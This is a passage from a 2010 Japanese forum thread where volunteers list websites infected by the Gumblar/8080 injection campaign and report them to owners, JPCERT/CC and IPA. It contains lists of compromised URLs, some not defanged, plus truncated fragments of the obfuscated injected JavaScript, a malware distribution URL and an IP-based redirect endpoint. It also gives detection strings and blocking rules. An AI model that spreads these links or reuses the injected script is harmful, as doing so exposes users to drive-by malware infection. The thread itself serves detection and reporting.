- 226 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 12:37:09
- http://www◎jyoho-review◎jp/item_list/
http://canyonhardware◎com/
http://otokudou◎h01◎jp/
http://www◎borneomarathon◎com/jpn/home◎html
http://www◎jyoho-review◎jp/item_list/
http://www◎spalodge◎co◎nz/
http://www◎ryu1◎co◎jp/
http://minatomo◎jp/
http://sartur◎com/
http://lavishad◎com/
http://hampson-scott◎com/
http://www◎ondeugendstel◎com/web/media2/index◎php?option=com_rss&feed=RSS2◎0&no_html=1
さて、エンジェルビーツ始まるまで寝るか…。重複チェックしてないお(｀・ω・´)
- 227 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 12:46:52
- >>226
14時間も寝るのかよｗ
取扱注意
www●wood-sadoh●co●jp/classroom/index.html
TOPはまだ改ざんされてなかったけど、時間の問題だな
- 228 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 13:41:59
- さてと、どんなサイトがGumblarに？
チェックしてゼロデイの傾向と対策を、、、
ってもう、まんべんなくだなｗ
- 229 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 14:00:49
- >>228
管理者のセキュリティ意識が無いサイトがやられてるだけ
サイトの内容は無関係
- 230 ：コテハン ◆8080adndqg ：2010/05/28(金) 14:47:51
- 【陥落サイトのURL悪用厳禁】
www●biz-x●jp
www●i-keiei●jp/
www●w-ouen●com/league/index●html ←早稲田大学応援部
cowgirl●jp/
↓
<script type='text/javascript'>str="<ijbwjuics src=･･･
<script>try {var Qv='QN'} catch(Qv){};var･･･
<!--改竄されたので絶賛放置中！-->
※アクセス注意！※
www●aquaview●jp
↓
www●aquaview●jp/m_shop/index●html
↓
webcache●googleusercontent●com/search?q=cache:9SfGiGAU864J:www●geocities●jp/kic_aquaview/order●html
※消滅してたので、キャッシュから･･
- 231 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 15:19:23
- >>230
よいところにいらっしゃった
＞<script type='text/javascript'>str="<ijbwjuics src=･･･
これ、どうやって拾ったらいい？
色々試してるんだけどどうにもうまくいかない
- 232 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 16:15:27
- 取扱注意
www●garden-bank●com
- 233 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 16:34:21
- www●i-keiei●jp
www●w-ouen●com/league
cowgirl●jp
www●garden-bank●com
メル凸済み、反応待ち
- 234 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 17:44:54
- >>233
www●i-keiei●jp
なにもないが、メル凸済みだからか？
- 235 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 17:51:05
- >>225のサイト、ブログ経由で凸した
- 236 ：コテハン ◆8080adndqg ：2010/05/28(金) 18:00:29
- >>231
"vxoq3" "xaoz3" ←センセイ向け
"ijbwjuics" "str.replace(" ←禿向け
現時点ではほとんど釣れないみたい･･･
8080系の陥落サイトに寄生してるから、ソースを見る時
<body>の後側も見ておくと良いかも
- 237 ：226 ◆4SB9WSR5xY ：2010/05/28(金) 18:02:14
- さすがに14時間も寝られなかった。
http://cocoro-dhp◎sakura◎ne◎jp/
- 238 ：コテハン ◆8080adndqg ：2010/05/28(金) 18:08:21
- >>234
センセイの記憶を覗いてみにゃ
webcache●googleusercontent●com/search?q=cache:RW9_Hzfo7hMJ:www●i-keiei●jp/
- 239 ： ◆4SB9WSR5xY ：2010/05/28(金) 18:14:25
- http://abs◎bij◎pl/
http://18tubeporn◎com/
http://extratube◎cn/
http://aimauto◎org/
http://laschuwi◎com/
http://kopolinos◎com/
http://mature-lessons-porn◎com/
http://ayume◎eu/
http://flowertask◎co◎jp/
http://wovens◎info/
http://mb3z◎jp/
http://lets-you◎jp/
http://hohoemi-link◎lovepop◎jp/
- 240 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 18:29:39
- >>239
おまえは何をやってるんだ？
- 241 ： ◆4SB9WSR5xY ：2010/05/28(金) 18:32:57
- http://hyper◎heavy◎jp/
http://saicho◎co◎jp/
http://mag◎rdy◎jp/
http://jamur◎jp/
http://truth-co◎jp/
http://yamana◎sakura◎ne◎jp/
http://minatomo◎jp/
http://s1◎shard◎jp/syozyonudo/
http://makino-fudousan◎co◎jp/
http://kimihiro◎sakura◎ne◎jp/
http://situgyou◎bufsiz◎jp/
http://babylovers◎jp/
新しい方法試してみたけど、誤爆率高いorz
とりあえず.jpだけ。
- 242 ： ◆4SB9WSR5xY ：2010/05/28(金) 18:38:10
- >>240
クソコテ氏ねですね。
ごめんなさい。
- 243 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 18:39:30
- テンプレ見てまともに出来ないなら余計なモン貼るなゴミがっつってんだよ
- 244 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 18:56:08
- >>234
Gredで覗いてみて
>>235
乙です
>>236
ご教授感謝、無理を申しました
頑張ってみます
- 245 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:25:37
- >>216>>219
そんなことあるんだ
- 246 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:32:41
- >>198
少々亀レスですみませんが
たとえばどのようなコードや文字列に注意すればいいのでしょうか
- 247 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:34:11
- まだaguseは元に戻ってない？
- 248 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:41:57
- >>7を踏んでしまったのですが大丈夫でしょうか？
- 249 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:44:57
- >>246
マルチはやめようね
- 250 ：248：2010/05/28(金) 23:19:36
- >>7を踏んだのはつい先ほどなのですでに7のサイトは復旧されてるとは思うのですが
- 251 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:10:13
- >>248,250
ここは鑑定スレじゃないから
↓こっちで聞け↓
勇気がなくて踏めないURL鑑定スレin初質 Part41
http://gimpo.2ch.net/test/read.cgi/qa/1274878983/
- 252 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:36:59
- Ν即で>>226の一番下のやつ貼られてて会社のPCで踏んでしまったんですけどこれってやばいんでしょうか
>>3の設定に直してスキャンしてみましたけど何も出なかったです…
- 253 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:41:40
- >>252
スペックかけよ
OS,ブラウザ,Adobe ReaderのVer,対策ソフト
- 254 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:49:51
- >>252
踏んでから>>3の設定に直しても意味ないぞｗ
つか、アンチウイルスソフトは反応しなかったのか？
踏んだ時の症状を教えてくれ。
- 255 ：253：2010/05/29(土) 00:54:40
- >>252
もしもそのPCで会社のサイト更新してるなら、そのうちお前さんの会社のサイトが
このスレに登場するww
ご愁傷さま
- 256 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:55:26
- >>253,254
ありがとうございます
【OS】XP pro SP3
【ブラウザ】Internet Explorer 8(タブブラウザのDonut RAPTっての使ってます)
【Microsoft Updateの更新の状態】最新でした
【セキュリティソフトと年式】ノートンインターネットセキュリティ 2009
【回線の種類・ルータの有無】光回線でルータ使用中
【Adobe ReaderのVer】最新でした
Donut RAPT使ってる時はノートンの保護機能？は働かないみたいです
今は自宅のPCからでこれぐらいしか覚えてなくて申し訳ないです
- 257 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:56:41
- >>248
大丈夫、数日前に対策されとる
>>99にも書かれとる
しかしテンプレに罠仕込むなんてこのスレどうしちまったんだ
- 258 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:57:04
- >>255
いえ会社はサイト持ってないです
孫請けの零細ですので
- 259 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:06:44
- 最近のはVista・7のUAC・保護モードも素通りするのかね
- 260 ：253：2010/05/29(土) 01:08:52
- >>256
>>【Adobe ReaderのVer】最新でした
これが本当なら大丈夫なはず。踏む前から最新だったんだよな？
- 261 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:15:55
- >>256
AdobeReaderは最新じゃなくバージョンをきちんと確認しろ
JavaとFlashPlayerもね
- 262 ：256：2010/05/29(土) 01:16:06
- >>260
はい、更新チェックで確認しました
そうですかとりあえず安心しました。ありがとうございます
- 263 ：256：2010/05/29(土) 01:23:38
- >>261
連投すいません
>3の更新確認でそれら全て更新チェックして全て最初から最新だったと記憶してます。
後、図に乗った質問で申し訳ないんですけど、このウイルスはどういった悪さをするんでしょう？
- 264 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:24:43
- >>262
ノートンなら以下のクラウド型と併用可だからしてみては？
【併用可】gred AntiVirusアクセラレータ part2
http://pc11.2ch.net/test/read.cgi/sec/1268032521/
- 265 ：248：2010/05/29(土) 01:26:43
- >>257
ありがとうがざいます
一安心です
- 266 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:26:56
- >>258
どっちみち感染したらFTP含めてWebサービスすべてのIDパスはとられる
自分だけでなくLAN内すべて
あとは偽セキュリティソフトのインストール、特定サイトへの攻撃、
BOT機能のインストールなどいろいろ
- 267 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:35:43
- >>264
これは今後のセキュリティですね
ありがとうございます。あとで確認してみます
>>266
そうですか…
そうなってくると自分にはもうお手上げですねorz
- 268 ：253：2010/05/29(土) 01:40:55
- >>267
そろそろスレチだが、
>>ノートンインターネットセキュリティ 2009
もしまだライセンス残ってるなら、2010にタダでバージョンうpできるからやっとけ。
http://updatecenter.norton.com/?NUCLANG=ja
- 269 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:52:21
- >>257
荒らしの仕業だろ
- 270 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:58:01
- >>257
>>16-19
- 271 ：256：2010/05/29(土) 02:11:36
- >>268
了解です
みなさんありがとうございました
- 272 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 03:42:02
- ttp://money●zarathustra-wins●net/2010/01/%E3%82%AC%E3%83%B3%E3%83%96%E3%83%A9%E3%83%BC%E5%AF%BE%E7%AD%96%E3%81%AE%E6%83%85%E5%A0%B1%E3%81%AE%E3%81%BE%E3%81%A8%E3%82%81/
鑑定スレに貼ってたな
- 273 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 12:07:41
- 日創研石川経営研究会
ウィルスに感染したのに告知無しで復旧
こういうところの会員も同じ穴の狢でモラルもないんだろうな。
- 274 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 12:11:41
- >研究会
うさんくせー
- 275 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 12:24:59
- 専スレがあるじゃん
- 276 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 13:33:38
- 緑になりますやうに。(-人-)
http://online.us.drweb.com/result/?url=%68%74%74%70%3a%2f%2f%77%77%77%2e%69%2d%6b%65%69%65%69%2e%6a%70%2f%61%72%63%68%69%76%65%73%2f%63%61%74%31%2f%69%6e%64%65%78%2e%68%74%6d%6c
- 277 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 13:59:43
- >>272
だが
ttp://www.zarathustra-wins.net/のサイトにある
ガンブラー対策のページだな
そこがやられたらしい
272のURLでググるとガンブラー質問系のサイトに結構貼られてるが罠か？
- 278 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 16:07:57
- 日創研石川経営研究会に電凸してみました
改竄の件は把握していない模様
ttp://www.aguse.jp/?m=w&url=www.i-keiei.jp&x=43&y=16
↑の076-234-5554あいびーらぼ？がHPを作っていると認めました
＞あいびーらぼ？さん
折り返しの電話ありませんねw
自分達のスキルに自信があるのでしょうね
このスレの情報以外の所も改竄されている様ですが、見つけられるかなw
- 279 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 16:24:15
- www●j-sports●or●jp
www●itofound●or●jp
cgi●members●interq.or●jp/aquamarine/ruvi/
- 280 ：オルティス・ジャパン：2010/05/29(土) 16:57:52
- >>279
www●itofound●or●jp
ここはガンブラーによって改竄されていると話すと電話を切る
更に電話をすると無言攻撃をする非礼極まりない所
対応は停止する
- 281 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:00:24
- ＞www●j-sports●or●jp
CSJスポーツのサイト!?
- 282 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:09:48
- 管理人「gumbler？うっせぇバーカ」
- 283 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:21:50
- あ
- 284 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:26:44
- 今日は所属してるボランティア団体が所有してるPC１０台に、>>4 を施した。
VistaのマシンなんだがSP2すら当たっていなかったので心配だった。
普段は車に積んで移動してるので、なかなかメンテナンスの機会がなくて
たまにＥモバなんかでネットに繋いだりするもんだからヒヤヒヤもので．．．
- 285 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:54:32
- >>279
www●j-sports●or●jp
www●itofound●or●jp
cgi●members●interq.or●jp/aquamarine/ruvi/
メル凸済み、反応待ち
>>280
一応、so-netとJPCERT/CCにも通報してあります
コレでダメなら別の手を考えますよ…
>>281
ジェイスポーツは「www●jsports●co●jp」
感染してるのは「横浜市・川崎市サッカークラブ」です
- 286 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 18:16:19
- 告知もせず駆除するだけなんだなあ
個人ならまだわかる、でも法人が平然とやってのける
マジであきれる
- 287 ：コテハン ◆8080adndqg ：2010/05/29(土) 18:16:44
- 【陥落サイトのURL悪用厳禁】
fps01●plala●or●jp/~zeiken/
www●marbell●jp/img2/photo/tenonaru/index●html
www●pflaster●co●jp/contact/
- 288 ：コテハン ◆8080adndqg ：2010/05/29(土) 18:34:54
- >>284
穴があるかもしれないPCには
Firefox＋NoScript＋AdblockPlus＋RequestPolicy
この組み合わせを推奨する。
NoScript→<IFRAME>禁止にチェックを入れる
AdblockPlus→|http://*:8080/* をブロック
- 289 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:02:18
- >>288
レスありがとう
自宅のＰＣのデフォはFirefoxなんだが、車に積んでるのは
なにぶん初心者向け講習会用なので、困ったことにデフォは
ＩＥなんだなこれが。
- 290 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:03:07
- Firefoxなどのブラウザは、MSEや無料版アンチウイルスの幾つかなどトラフィックスキャンをしないものとは組み合わせることは好ましくない
JavascriptはどうしてもONにすることがあると思う、その時にスキャンできず素通りしてしまってる
- 291 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:06:18
- d-pic●net
- 292 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:15:08
- Firefoxはむしろダメだろ
- 293 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:50:20
- だなIEが一番
- 294 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 20:16:12
- >>289
とりあえずIE8にしておけばいいとおもうよ
もしくはGoogleChrome
わりと初心者にもすんなり受け入れられる
初心者はそもそもIEでも慣れてるわけじゃないから実はなんでもいいのだ
- 295 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 20:42:23
- >>287
メル凸済み、pflasterにはメール届かず、その他は反応待ち
>>291
メル凸済み、反応待ち
- 296 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:10:09
- テンプラの対策してたらIE8でも保護モードで運用すれば
ゼロDay食わない限りそうそう怖いことなかろうて
- 297 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:45:37
- >>273-276
15:50着、かすぺ対応とのこと、持ってる人は確認お願いぽ。
> Trojan-Downloader.JS.Pegel.av
> New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.
>>278
乙乙。
鯖缶につーほーしておいてた返事、担当に伝えるとのこと。
- 298 ：297：2010/05/29(土) 21:48:31
- てか>>276はまだ赤かったので>>297カキコしたんだが……
- 299 ：297：2010/05/29(土) 21:54:20
- やっぱ未修正があるー。。。
- 300 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:55:55
- >>279
おいおいそれってスカパーとかCATVのスポーツかよ？
- 301 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:57:04
- >>286
駆除すらされずメル凸するまで放置ということもあるけど
まさか毎日ページを見ている管理人が改竄に気づいてないというパターンなのかな？
- 302 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:58:17
- >>300
CSのJスポーツはwww●jsports●co●jp
- 303 ：284：2010/05/29(土) 22:19:30
- ボランティア団体の方針で、ブラウザはＩＥ７ということになってて．．．
つまりその、テキストと画面のデザインがほんのちょっとでも異なると
講習生がとまどうからという理由で。
- 304 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 22:23:21
- >>303
とまどうのは（柔軟性の無い）おしえているほうだにゃ。
互換性表示ってのあるのに…
- 305 ：304：2010/05/29(土) 22:25:56
- あー、テキストって教習本のことか。
買い換えろ！
つか実施で説明できない人が教えてんのか。
- 306 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 22:33:11
- 馬鹿のくせに偉そうに指示するな
- 307 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 22:38:48
- >>303
今後のことを考えても全く一緒なことはありえないから
画面は多少変わることもあることを口頭で良いから教えるべきだとは思う
家にあるPCがテキストと違うと使えないってことになるだろ
まあ車と違ってコロコロUI変えちゃってる方にも問題はあるんだけども
- 308 ：304：2010/05/29(土) 23:12:30
- うん、言い過ぎたかも。
>>306
ノ
- 309 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 23:20:51
- このスレにFirefoxのアンチがいる
- 310 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 23:25:09
- お前や
- 311 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 23:32:33
- 逆で無知なくせに無闇に薦めるやつがいるだけ
- 312 ：284：2010/05/30(日) 00:11:00
- みなさんご心配いただいてありがとう
なにぶん、講習生はお年寄りが対象なので、幹部連中は...
「セキュリティに関してはあまり教え過ぎるとせっかくのやる気をそぐし、
してはいけないことだらけでつまらなくて結局身に付かない」
...ということで、WindowsUpdateを教えることさえあまり乗り気ではないのですよ。
それに、件のパソコンは、長い時にはひと月に一日使うか使わないかっ
ていう利用頻度なもので、ネットにもあまり繋がないのでセキュリティ
アップデートかけるチャンスもなかなかないんです。
それでいていざ講習会が始まると、週一でネットには繋ぐけど
講習の準備と撤収作業が忙しくてアップデートどころじゃなくなっちゃうんで
かえって危ないです。
- 313 ：あんちたった ◆MOTO.0SDfQ ：2010/05/30(日) 00:59:43
- ＴＴＰ://www●aoisys●com/nonstyle/
- 314 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 01:28:40
- 帰省ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
- 315 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 01:38:32
- www●cheesecake●co.jp/cp/2010present05/
ヤフー懸賞経由で応募しようとリンク踏んだらノートン先生の警告でた。
さらに、aguseで、「Gumblarの可能性あり」と出てたから、ヤフーと懸賞主催者に伝えたけど、両者から感染してないわボケと言われたけど、感染してるよね？
- 316 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 01:46:20
- >>315
site.jsとかやられてるっち。
- 317 ：あんちたった ◆MOTO.0SDfQ ：2010/05/30(日) 02:19:47
- ちょｗｗｗヤフーまでそんなこと言ってんの？
もしかしてHTMLしかみてないの？
- 318 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 02:40:22
- なかなかやるものだなaguse
- 319 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 02:41:35
- >>315
これどこにあるの？
- 320 ：あんちたった ◆MOTO.0SDfQ ：2010/05/30(日) 02:46:58
- >>319
>>316に書かれてるファイルを探せ。
んで、そのファイルの一番後ろ見ろ。
- 321 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 03:17:08
- >>315
ボケまで言わないだろw
また電話して録音してみれば？
http://jsunpack.jeek.org/dec/go?report=7130e159282202ef242480c9a65e9a67430adf2f
- 322 ：316：2010/05/30(日) 03:42:15
- 該当サイトにフォームから戸津
鯖缶にもフォームから戸津
やほにもフォームから戸津
ついでにめるぽ
>>315が事実なら由々しき事態。
っと言いたいけど、jsファイルのみの感染の場合（ほかにもあるかもしんないけどー）
結構見逃されがちでこちらから指摘しないと対応されないぽ。。。
- 323 ：316：2010/05/30(日) 04:42:53
- んでついでにVT通して送った検体だけど
かすぺは既に対応済みのこと。
> - HEUR:Trojan-Downloader.Script.Generic
> This files are already detected. Please update your bases.
VTのタイムラグか。。。orz......
ごめんよ、ひげおぢさん。
- 324 ：315：2010/05/30(日) 08:32:37
- 315
ごめん。ボケとまでは言われてないです。
ヤフーは、担当者に報告し検証した後、対処すると言われて2週間過ぎましたが、未だに応募可能たし、ウイルス感染無しと判断したんだなと。
懸賞主催者は、調べましたが、ウイルスに感染してません。ウイルスが蔓延してますので、チェックを2重にして気をつけると言われました。
なので、もう、シラネと思ってましたが、このスレ見て一応、このスレを読んでる人だけには報告しておこうと書き込みました。
- 325 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 09:48:17
- このサイトのホスティングの「TSUKAERUNET」に通報すればよかったのに。
対応はいいホスティング会社なので、それらばもう止まってたかも
- 326 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 10:10:35
- ↓直接このURL送っておけば対応はやかったかもな。
ttp://www●cheesecake●co●jp/user_data/packages/org/js/site●js
- 327 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 10:22:28
- >>315-316
これ、感染が結構古くない？ Wepawetに投げてみたけど、こういう結果だった。
http://wepawet.iseclab.org/view.php?hash=d048d4b80057b854928823d9ef22c31f&t=1275179400&type=js
確かに感染しているんだけど、既に8080のマルウェア配布先が死んでる。（※）
なんで、悪意のある、感染させる方としてはとっくにyahooは用済み状態。
これ、yahooの感染～マルウェア配布鯖停止まで気がつかれなかったとしたら、かなりヤバイ。
（※） Wepawerの解析結果で、Requestsの所の、http://gothguilt●ru:8080/google●com/espn●go●com/qip●ru●php
がマルウェアの配布元。 ここにアクセスに行くんだけど、既にStatus = Errorの通り、何も起きない。
私の方もVirtualPC使って無防備で踏んでみたけど、“今は” やっぱり何も落ちてこなかった。 現状無害だけど、どれだけ被害出たんだろう．．．orz
- 328 ：327：2010/05/30(日) 10:28:32
- >>327
ちなみに、site.jsのVT結果。誰かが最近投げたばかりなので、そのまま引用。
http://www.virustotal.com/jp/analisis/d3698d3fca4c319a19346e9451a437b99a4354533d8020dc559c28e686a2717b-1275156778
現時点でも検出 5/41とか．．．終わったねぇ。orz NortonとKasperskyはヒューリスティックで検出するみたいだけど、その他はどうなっている事やら。
- 329 ：327：2010/05/30(日) 10:33:37
- >>315,327
あ、スマン。Yahooが感染していたんじゃなくて、Yahooの懸賞の所に、感染したサイトがリンクされてたのか。
感染していたのは cheesecake●co●jp の方ですね。スミマセン
- 330 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 10:47:56
- >>327
[Trend Micro Security Blog]から引用
http://blog.trendmicro.co.jp/archives/3340
>3 不正スクリプトによる不正サイトへの接続は、同じIPアドレスからは初回接続時（または初回接続後のわずかな時間）しか本来の（不正な）応答がされない。
＝＞マルウェアサンプルの入手が困難になる。
IPアドレス以外に時間などで制御する可能性もありますし、まだ有害かもしれません
- 331 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 11:21:03
- cheesecake●co●jpのサイト運営は、実質ここみたい
有限会社みのりや
www●minoriya●co●jp/result/
ここが大丈夫ですって言っているのでしょうね
- 332 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 11:21:49
- >>315
user_data/packages/org/js/css.js infected with JS.Redirector.based.3
user_data/packages/org/js/navi.js infected with JS.Redirector.based.3
user_data/packages/org/js/win_op.js infected with JS.Redirector.based.3
user_data/packages/org/js/itembox.js infected with JS.Redirector.based.3
user_data/packages/org/js/site.js infected with JS.Redirector.based.3
メル凸済み、反応待ち
- 333 ：327：2010/05/30(日) 11:22:33
- >>330
ん～、確かに私がアクセス制御に引っかかった可能性はあるね。
とりあえず、流れをみるとサイト管理者の対応が糞らしいので、IE8のSmartScreenと、Firefox経由でGoogleSafeBlowsingに通報しておいた。
このまま放置されていれば、多分、数日中には赤くなるはず。 管理者は逆に青くなると思うが。（苦笑
- 334 ：316：2010/05/30(日) 11:38:41
- >>332は
Last-Modified: Thu, 13 May 2010 11:14:38 GMT
Last-Modified: Thu, 13 May 2010 11:17:39 GMT
Last-Modified: Thu, 13 May 2010 11:18:05 GMT
Last-Modified: Thu, 13 May 2010 11:16:35 GMT
Last-Modified: Thu, 13 May 2010 11:17:49 GMT
>>324
> 2週間過ぎました
やほーは音沙汰無しでぷか。。。
- 335 ：八頭 ◆YAGApwSaEw ：2010/05/30(日) 11:48:35
- 直通なんてやめて
K察庁経由で伝えてもらえ
- 336 ：コテハン ◆8080adndqg ：2010/05/30(日) 11:59:26
- 一件だけ投下しとくにゃ
【陥落サイトのURL悪用厳禁】
adajo●namidaame●com
凸してくれてる人＞乙です orz
- 337 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 13:54:27
- >>280
ここって宗教団体のようですね
ttp://www●itofound●or●jp/contents/aisatsu●html
当財団は、宗教法人真如苑開祖、故伊藤真乗大僧正の遺志を受け継ぎ…
真如苑 vol.75
http://gimpo.2ch.net/test/read.cgi/psy/1269487603/
- 338 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 14:19:30
- そういやyahooの占いのページが以前やられていたな
今回はyahooのトップページを開く分には大丈夫なんだろ？
- 339 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 14:53:27
- >>337
googleは既に赤くなってる。
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?hl=ja&site=http://www.itofound.or.jp/
早く対応しないから...w
>>338
問題ない。懸賞のページから、>315のリンク先に飛ぶとアウトだったらしい。
- 340 ：コテハン ◆8080adndqg ：2010/05/30(日) 18:33:32
- 【陥落サイトのURL悪用厳禁】
www●ooraka●com/
<TITLE>パソコン在宅ワーク・常識を超えたパソコン在宅ワーク！</TITLE>
マルウェアが勝手に仕事をしてくれるのが「常識を超えた」ということでしょうかネ？
以下、どーでも良いようなカスサイト
canyonhardware●com/
maillady●hirotu●net/
www●kireibast●sakura●ne●jp/exlwckaj
- 341 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 20:13:48
- >>340
www●ooraka●com/
メル凸済み、反応待ち
カスサイトやらは後でまとめてJPCERT/CCに通報しときます
ちょっと仕事が立て込んでるので
- 342 ：あんちたった ◆MOTO.0SDfQ ：2010/05/30(日) 20:26:09
- >>326
その書き込みの時点で既に実行済み
- 343 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 01:13:25
- www●pflaster●co●jp ：Forbidden
d-pic●net ：Forbidden
cgi●members●interq●or●jp/aquamarine/ruvi/ ：Forbidden
www●garden-bank●com ：aguse、Gred、Dr.Webともに反応せず
cowgirl●jp ：閉鎖？
www●barakai●com ：aguse、Gred、Dr.Webともに反応せず
www●allety●net ：閉鎖？
ソース確認してません、暇してるよって方は精査して頂けると助かります
他はまだ駄目みたいなので明日にでも再凸…
>>340
カスサイトとやらをまとめてJPCERT/CCに報告しておきました
ていうかこれ、いつ終息するんでしょorz
- 344 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 01:18:56
- >>343追記
「Forbidden」はaguseGWで確認してます
- 345 ：コテハン ◆8080adndqg ：2010/05/31(月) 11:55:44
- >>341,343 乙です～
【陥落サイトのURL悪用厳禁】
www●jc-consulting●jp/houkoku_m/index3●html ←絶賛放置中(再再再再･･･晒し)
www●hdta●jp ←絶賛放置中
ayako●h00●jp ←うんこ対応中 ※<!--<script>-->
www●jyoho-review●jp/link/ ←絶賛放置中
www●jyoho-review●jp/item_list/ ←(ﾟдﾟ;)
d-pic●net/ ←トップページのみ閉鎖
d-pic●net/以下の階層は絶賛公開中
↓
www●google●co●jp/search?hl=ja&source=hp&q=site%3Ad-pic●net%2F
fps01●plala●or●jp/~zeiken/ ←絶賛放置中
neta-script●lionking●jp/2007/08/ ←絶賛放置中
- 346 ：コテハン ◆8080adndqg ：2010/05/31(月) 12:28:32
- 【陥落サイトのURL悪用厳禁】
www●spiceheads.com/index●html
↓
最下部の8080以外に
<body link="#DB0000"～中略～<script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70･･･
↓
79●135●152●181/stats/go●php?sid=1
※直接踏んだらGoogleに飛ばされて終了orz
この前の<ijbwjuics src=←の後継かな？
- 347 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 12:38:43
- ・レジナからwww●j-sports●or●jpへウイルスを駆除する様に伝えたとの連絡あり（まだ感染中…）
・つかえるネットからwww●cheesecake●co●jpのサービスを停止しましたとの連絡あり
www●i-keiei●jp ：Forbidden
fps01●plala●or●jp/~zeiken ：Forbidden
残りはもうしばらく静観
カスサイト、駄目くさいですがどうしたもんでしょう…
- 348 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 14:02:39
- >>346
いつもお世話さん
…なんだが、【陥落サイトのURL悪用厳禁】 って書くから悪用するヤツが増えるんじゃないか？
どうせ悪意のあるヤツは書いてもやるだろうし
それに「危険」って書いてあるボタンを押したくなるの法則
- 349 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 14:48:29
- > IPAセキュリティセンターです。
> ご連絡、ありがとうございます。
> 当機構でも当該サイトの改ざんを確認しました。
> 改ざんが確認できたサイトの管理者宛てに、サイトが改ざんされている
> 旨の通告をしておきます。
2時間で返事が来たよ…仕事早いな
>>345
お疲れ様です
カスペルスキーがIflamerで検出、ついでにAviraに検体提出
>>346
さくらに通報しようと思ったらメルフォで蹴られた…何故に
他のは後でまとめて見ておきます
>>348
はずせないんじゃない？
過去にいちゃもんつけられてるし
- 350 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 15:13:10
- 取扱注意
www●rokudai-ouen●com
- 351 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 15:28:03
- >>350
Last-Modified: Thu, 20 May 2010 02:42:03 GMT
- 352 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 17:37:11
